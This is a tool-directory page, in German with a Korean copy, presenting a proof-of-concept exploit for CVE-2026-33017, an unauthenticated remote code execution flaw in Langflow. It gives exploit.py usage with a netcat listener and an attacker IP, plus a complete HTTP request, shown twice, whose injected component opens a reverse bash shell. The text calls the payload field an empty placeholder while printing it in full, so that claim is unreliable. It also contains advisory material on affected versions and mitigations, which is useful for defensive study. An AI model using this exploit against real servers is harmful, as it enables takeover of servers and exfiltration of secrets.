Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33017 — Langflow RCE | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-33017
SchwachstellenscannerCode-AnalyseExploitationWebsicherheitPapers & ForschungLernen & Bildung
GitHubeqstlab/cve-2026-33017

CVE-2026-33017

Langflow RCE

Repository anzeigen
64vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33017 Langflow RCE

★ CVE-2026-33017 Langflow Remote Code Execution PoC ★

https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7


Umgebungseinrichtung

Verwenden Sie die folgenden Befehle, um die verwundbare Langflow-Umgebung zu erstellen und auszuführen:

root@kitploit:~
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln

Verwendung des PoC

Nach dem Start der verwundbaren Langflow-Instanz führen Sie den PoC mit der Ziel-URL, der Public-Flow-ID und der Callback-Adresse des Angreifers aus.

Option A — eigenen Listener verwenden:

root@kitploit:~
# Terminal 1: start a listener
nc -lvnp 4444

# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444

Option B — den integrierten Listener mit --listen verwenden:

root@kitploit:~
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen

DEU

CVE-2026-33017 ist eine Remote-Code-Execution-Schwachstelle (RCE) im Public-Flow-Build-Prozess von Langflow, einer Open-Source-Plattform zur visuellen Erstellung von LLM-Anwendungen und KI-Workflows.
Durch das Senden manipulierter Flow-Daten an den build_public_tmp-Endpunkt ohne Authentifizierung kann ein Angreifer erreichen, dass beliebiger Python-Code auf dem Server ausgeführt wird.


Übersicht

CVE-2026-33017 betrifft den folgenden Public-Flow-Build-Endpunkt in Langflow, einer Open-Source-Plattform zur visuellen Erstellung von LLM-Anwendungen und KI-Workflows.

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Ein Public-Flow in Langflow ist dafür vorgesehen, über einen Link oder einen ähnlichen Mechanismus mit anderen Benutzern geteilt zu werden.
Um diese Funktion zu unterstützen, bereitet der Build-Endpunkt den Flow ohne Authentifizierung zur Ausführung vor, indem er die Knoten, Kanten und Einstellungen des Flows liest und anschließend den internen Ausführungsgraphen erstellt, der für die Ausführung benötigt wird.

Das Problem bestand darin, dass verwundbare Versionen von build_public_tmp nicht nur die auf dem Server gespeicherten Public-Flow-Informationen akzeptierten, sondern auch das im Request-Body übermittelte data-Feld.

Dieses data-Feld konnte die gesamte Flow-Definition enthalten, einschließlich:

  • die Liste der Knoten
  • die Verbindungen zwischen den Knoten
  • detaillierte Konfigurationswerte für jeden Knoten
  • Vorlagen und für die Ausführung erforderliche Custom-Component-Daten

Dadurch konnte ein Angreifer über eine nicht authentifizierte Anforderung eine vollständig vom Angreifer kontrollierte Flow-Struktur einschleusen, anstatt sich auf den legitimen, auf dem Server gespeicherten Public-Flow zu verlassen.

Ein besonders gefährlicher Teil dieses Designs ist die Custom-Component-Funktion.
In Langflow repräsentiert eine Komponente einen einzelnen funktionalen Baustein, der für Aufgaben wie Eingabeverarbeitung, Modellaufruf oder Ausgabeerzeugung zuständig ist. Eine Custom Component ist ein erweiterbarer Baustein, der es Benutzern ermöglicht, ihr Verhalten direkt in Python-Code zu definieren.

Ein Angreifer konnte daher eine Custom Component mit bösartigem Python-Code in das manipulierte data-Objekt einbetten, und der Server verarbeitete sie, als wäre sie ein normaler Bestandteil des Flows. Infolgedessen konnte der injizierte Code während des Build- oder Ausführungsprozesses geparst und ausgeführt werden, was letztendlich zu Remote Code Execution führte.


Betroffene Versionen

KategorieVersion
VerwundbarLangflow vor 1.9.0
BehobenLangflow 1.9.0 und höher

Das GitHub Security Advisory gibt den betroffenen Bereich als <= 1.8.2 an, aber der Fix — die Entfernung des data-Parameters — wurde in 1.9.0 umgesetzt. Alle Versionen vor 1.9.0 (einschließlich 1.8.3 / 1.8.4) sind daher betroffen, weshalb der CVE Record < 1.9.0 angibt.


Auswirkungen

Eine erfolgreiche Ausnutzung dieser Schwachstelle kann es einem Angreifer ermöglichen, die Kontrolle über den Langflow-Server zu übernehmen und Folgeaktionen durchzuführen, wie zum Beispiel:

  • Erlangen einer Shell auf dem Server
  • Exfiltrieren von Umgebungsvariablen oder anderen sensiblen Informationen
  • Installieren von zusätzlichem schädlichem Code und Herstellen von Persistenz

Proof of Concept

Der folgende PoC demonstriert CVE-2026-33017 auf Langflow 1.8.1.

1) Die Public-Flow-ID ermitteln

Der Angreifer ermittelt zunächst die flow_id eines Ziel-Public-Flows.

Public-Flow-ID ermitteln

2) Eine Build-Anforderung mit einer bösartigen Custom Component senden

Der Angreifer sendet eine build_public_tmp-Anforderung, die eine Custom Component injiziert, deren Python-code während des temporären Builds auf dem Server ausgeführt wird. In der folgenden Anforderung ist der code-Wert als Platzhalter leer gelassen — fügen Sie das Payload selbst ein (siehe Hinweis unter der Anforderung).

root@kitploit:~
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) Eine Shell erlangen

Während des Build-Prozesses wird der in der Custom Component eingebettete Code auf dem Server ausgeführt. Bei Verwendung der Reverse-Shell-Variante (automatisiert durch exploit.py) wird eine Verbindung zum Listener des Angreifers aufgebaut, wodurch der Angreifer eine interaktive Shell erhält, um beliebige Befehle auf dem Server auszuführen.

Shell erlangen


Technische Analyse

Obwohl build_public_tmp dazu gedacht war, Public-Flows zu erstellen, akzeptierten verwundbare Versionen weiterhin ein data-Feld direkt aus dem Request-Body.

Aufgrund dieses Designs wurde das vom Angreifer gelieferte data direkt an die serverseitige Build-Logik übergeben, und jeder in einer Custom Component eingebettete Python-Code wurde behandelt, als wäre er Teil eines legitimen Flows.

Dadurch musste sich ein Angreifer nicht auf den ursprünglichen, auf dem Server gespeicherten Public-Flow verlassen. Stattdessen konnte er eine vollständig eigene, bösartige Flow-Definition einschleusen, einschließlich Code, der auf dem Server ausgeführt werden konnte.

Nach dem Patch akzeptiert build_public_tmp kein extern geliefertes data mehr.
Mit anderen Worten: Der Pfad, der Angreifern zuvor erlaubte, eine vollständige Flow-Definition über den Request-Body einzuschleusen, wurde entfernt, wodurch auch die Ausführung beliebigen Codes durch bösartige Custom Components verhindert wurde.

Patch-Diff


Gegenmaßnahmen

  • auf Langflow 1.9.0 oder höher aktualisieren
  • unnötige Exposition von Public-Flows entfernen
  • den direkten externen Zugriff auf Langflow-Instanzen einschränken

Referenzen

  • GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
  • NVD: CVE-2026-33017
  • Patch-Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analyse

  • KR:
  • EN:


KOR

CVE-2026-33017은 오픈소스 AI 워크플로우 플랫폼 Langflow의 Public 플로우 빌드 과정에서 발생하는 원격 코드 실행(Remote Code Execution, RCE) 취약점이다.
공격자는 인증 없이 build_public_tmp 엔드포인트에 조작된 플로우 데이터를 전달함으로써, 서버 측에서 임의 Python 코드 실행을 유도할 수 있다.


Overview

CVE-2026-33017은 LLM 애플리케이션과 AI 워크플로우를 시각적으로 구성할 수 있는 오픈소스 플랫폼 Langflow의 Public 플로우 빌드 엔드포인트인 아래 API에서 발생한다.

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Langflow의 Public 플로우는 다른 사용자가 링크 등을 통해 불러와 사용할 수 있도록 외부에 공개되는 플로우이다.
이 기능은 인증 없이도 해당 플로우를 실행 가능한 상태로 준비할 수 있도록 설계되어 있으며, 빌드 엔드포인트는 플로우를 구성하는 노드, 연결 관계, 설정값 등을 바탕으로 내부 실행 그래프를 생성하고 각 블록이 실제로 동작할 수 있도록 준비하는 역할을 수행한다.

문제는 취약한 버전의 build_public_tmp 엔드포인트가 요청 바디에 포함된 data 값도 함께 받아들였다는 점이다.

이 data에는 다음과 같은 플로우 전체 정의가 포함될 수 있다.

  • 노드 목록
  • 노드 간 연결 관계
  • 각 노드의 세부 설정값
  • 실행에 필요한 템플릿 및 커스텀 컴포넌트 정보

즉, 공격자는 인증 없는 요청으로 서버에 저장된 정상 플로우 대신 자신이 조작한 플로우 구조 전체를 주입할 수 있었다.

이 과정에서 특히 위험한 요소는 커스텀 컴포넌트(Custom Component) 이다.
Langflow에서 컴포넌트는 입력 처리, 모델 호출, 출력 생성 등 개별 기능을 담당하는 블록이며, 커스텀 컴포넌트는 사용자가 Python 코드로 직접 정의할 수 있는 확장형 블록이다.

공격자는 조작한 data 내부에 악성 Python 코드가 포함된 커스텀 컴포넌트를 삽입할 수 있었고, 서버는 이를 정상적인 플로우 구성 요소처럼 처리했다. 그 결과, 해당 코드가 빌드/실행 흐름에서 실제로 해석·실행되며 원격 코드 실행이 가능해졌다.


Affected Versions

구분버전
취약 버전Langflow 1.9.0 미만
패치 버전Langflow 1.9.0 이상

GitHub Security Advisory는 영향 범위를 <= 1.8.2로 표기하지만, 실제 패치(data 파라미터 제거)는 1.9.0에 반영되었다. 따라서 1.8.3·1.8.4를 포함해 1.9.0 이전의 모든 버전이 취약하며, CVE Record도 이를 < 1.9.0으로 명시한다.


Impact

이 취약점을 통해 공격자는 Langflow 서버를 제어한 뒤 추가 행위를 수행할 수 있다. 대표적인 영향은 다음과 같다.

  • 서버 셸 획득
  • 환경 변수 및 비밀정보 유출
  • 추가 악성 코드 설치 및 지속성 확보

Proof of Concept

아래 PoC는 Langflow 1.8.1 환경에서 CVE-2026-33017을 재현하는 예시이다.

1) Public 플로우 ID 확인

공격자는 공격 대상이 되는 Public 플로우의 flow_id 를 먼저 파악한다.

Public 플로우 ID 확인

2) 악성 커스텀 컴포넌트 빌드 요청

공격자는 커스텀 컴포넌트의 Python code가 임시 빌드 과정에서 서버에서 실행되도록 조작한 build_public_tmp 요청을 전송한다. 아래 요청의 code 값은 자리표시자로 비워 두었으며, 페이로드는 직접 채워 넣어야 한다(요청 아래 안내 참고).

root@kitploit:~
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close

{
  "data": {
    "nodes": [
      {
        "id": "Exploit",
        "data": {
          "id": "Exploit",
          "type": "ExploitComp",
          "node": {
            "template": {
              "_type": "Component",
              "code": {
                "type": "code",
                "value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name = 'X'\n    outputs = [Output(display_name='O', name='o', method='r')]\n\n    def r(self) -> Data:\n        import socket,subprocess\n        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        s.connect(('192.168.102.178', 4444))\n        p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n        p.wait()\n        return Data(data={'ok': 1})"
              }
            },
            "outputs": [
              { "types": ["Data"], "name": "o", "method": "r" }
            ]
          }
        }
      }
    ],
    "edges": []
  }
}

3) 쉘 탈취

빌드 과정에서 커스텀 컴포넌트에 포함된 코드가 서버에서 실행된다. exploit.py가 자동화하는 리버스 셸 방식을 사용하면 공격자 측 리스너로 연결이 수립되어, 공격자는 서버 상에서 임의 명령을 실행할 수 있는 대화형 셸을 획득한다.

Reverse Shell 획득


Technical Analysis

취약 버전의 build_public_tmp 엔드포인트는 Public 플로우를 위한 빌드 API 임에도 불구하고, 요청 본문에서 data 값을 직접 받을 수 있었다.

이 설계 때문에 공격자가 전달한 data는 서버 측 빌드 로직에 그대로 반영되었고, 그 내부에 포함된 커스텀 컴포넌트의 Python 코드 역시 정상 플로우 구성 요소처럼 처리되었다.

결과적으로 공격자는 서버에 저장된 원래의 Public 플로우를 따르지 않고, 자신이 만든 악성 플로우 정의를 그대로 주입할 수 있었으며, 이 안에 포함된 악성 코드가 서버에서 실행될 수 있었다.

패치 이후에는 build_public_tmp에서 더 이상 외부 요청으로부터 data를 받지 않도록 수정되었다.
즉, 공격자가 요청 바디를 통해 플로우 정의 자체를 주입하는 경로가 차단되었고, 이로 인해 커스텀 컴포넌트를 통한 임의 코드 실행 또한 불가능해졌다.

Patch Diff


Mitigation

  • Langflow 1.9.0 이상으로 업데이트
  • 불필요한 Public 플로우 노출 제거
  • Langflow 인스턴스를 외부에 직접 노출하지 않도록 네트워크 제한

References

  • GitHub Security Advisory: GHSA-vwmf-pq79-vjvx
  • NVD: CVE-2026-33017
  • Patch Commit: 73b6612e3ef25fdae0a752d75b0fabd47328d4f0

Analysis

  • KR:
  • EN:
Tool herunterladen
OptionBeschreibung
--urlZiel-URL des Langflow-Servers
--flow-idUUID des freigegebenen Public-Flows
--lhostCallback-IP des Angreifers
--lportCallback-Port des Angreifers
--listenIntegrierten Listener statt eines externen nc verwenden